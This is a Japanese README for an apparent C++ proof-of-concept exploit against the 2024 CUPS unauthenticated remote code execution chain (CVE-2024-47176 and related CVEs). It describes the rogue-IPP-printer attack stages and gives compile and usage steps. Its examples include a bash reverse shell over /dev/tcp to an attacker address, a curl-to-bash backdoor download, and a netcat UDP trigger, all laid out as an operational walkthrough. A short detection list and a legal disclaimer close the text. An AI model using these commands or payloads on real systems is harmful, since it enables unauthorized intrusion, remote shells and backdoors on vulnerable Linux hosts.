
CVE-2024-47176 チェーンを介した CUPS における認証不要のリモートコード実行のための C++ エクスプロイト
2024年9月に発見されたCUPS(Common Unix Printing System)のリモートコード実行脆弱性チェーンを標的とした、完全に機能する概念実証エクスプロイトです。このチェーンは4つのCVE(CVE-2024-47176、CVE-2024-47076、CVE-2024-47175、CVE-2024-47177)で構成され、これらを組み合わせることで、認証されていないリモート攻撃者が、脆弱なバージョンのCUPSを実行している任意のLinuxシステム上で任意のコマンドを実行できるようになります。
このエクスプロイトは、ネットワークプリンタを模倣する不正なIPP(Internet Printing Protocol)サーバーを展開します。攻撃は4段階で進行します。
ステージ1 — 検出トリガー 細工されたUDPパケットがターゲットのポート631に送信されます。cups-browsedデーモンはこのパケットを認証なしで信頼し、攻撃者のIPPサーバーへのTCP接続を開始してプリンタ属性を取得します。
ステージ2 — 悪意のあるPPDの配信 攻撃者のIPPサーバーは、サニタイズされていないデータを含むプリンタ属性で応答します。このデータはlibcupsfiltersとlibppdを経由し、これらは入力を検証またはサニタイズしないため、悪意のあるFoomaticRIPCommandLineディレクティブがPPDファイルに埋め込まれる可能性があります。
ステージ3 — コマンドインジェクション 攻撃者が制御するプリンタに印刷ジョブが送信されると(自動的、またはユーザー操作により)、foomatic-ripフィルタがPPDファイルを処理し、注入されたコマンドをlpユーザーの権限で実行します。
ステージ4 — ペイロード実行 注入されたコマンドがターゲットシステム上で実行されます。一般的なペイロードには、リバースシェル、バックドアのインストール、データの外部流出、権限昇格の準備などがあります。
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
2024年後半の修正パッチが公開されるまで、ほとんどのLinuxディストリビューションが影響を受けるバージョンを同梱していました。
g++と標準的な開発ツールがインストールされたLinuxマシン ターゲットへのネットワークアクセス(UDPポート631が到達可能であること) ターゲットでcups-browsedがUDP 631でリッスンしていること ポート631へのバインドにはrootまたはsudoが推奨されます(または1631のような高いポートを使用)
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
外部依存関係はありません。g++を搭載した任意のLinuxディストリビューションでコンパイルできます。
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener 不正なIPPサーバーの攻撃者IPアドレス -r, --reverse ターゲット上で実行するコマンド、またはスクリプトファイルへのパス -t, --target ターゲットマシンのIP(トリガーUDPパケットを自動送信) -p, --port 不正なIPPサーバーのポート(デフォルト:631) -s, --spoof プリンタのスプーフ名(デフォルト:VulnPrinter) -T, --target-port ターゲットのUDPポート(デフォルト:631) -h, --help ヘルプメッセージを表示
端末1 — リスナーを起動: nc -lvnp 4444
端末2 — エクスプロイトを実行: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
端末1 — サーバーを起動: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
端末2 — ターゲットにUDPトリガーを送信: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
ステップ1: 攻撃者マシンでnetcatリスナーをセットアップ nc -lvnp 4444
ステップ2: エクスプロイトをコンパイル g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
ステップ3: ターゲットに対してエクスプロイトを実行 ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
ステップ4: ターゲットマシンのユーザーが不正プリンタにテストページや任意のドキュメントを印刷すると、lpユーザーとしてリバースシェルを受け取ります。
IPP URI文字列を含む、ポート631への不審なUDPパケット cups-browsedから未知のホストのポート631への発信TCP接続 CUPS Webインターフェースに未知のプリンタが自動的に表示される foomatic-ripまたはlpユーザーによって生成されたプロセス
法的通知
このソフトウェアは教育および研究目的でのみ提供されます。これは、セキュリティ専門家、ペネトレーションテスター、システム管理者が、記載された脆弱性を理解、検出、防御するためのものです。
あなたが所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して、このエクスプロイトを無断で使用することは違法であり、米国コンピュータ詐偽及び悪用取締法(CFAA)、英国コンピュータ不正使用法、および他の管轄区域の類似法に違反する可能性があります。
許可された使用事例には、自分が所有するシステムに対するセキュリティ評価、書面による承認を得たペネトレーションテスト、明確なスコープが設定されたバグバウンティプログラム、管理された実験環境での学術研究、CTFコンテストが含まれます。
著者は、このソフトウェアの誤用またはそれによって生じた損害について一切の責任を負いません。ユーザーは、適用されるすべての法律を遵守し、テスト前に適切な承認を得る責任を単独で負います。
このソフトウェアを使用することにより、これらの条件に同意したものとみなされます。
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org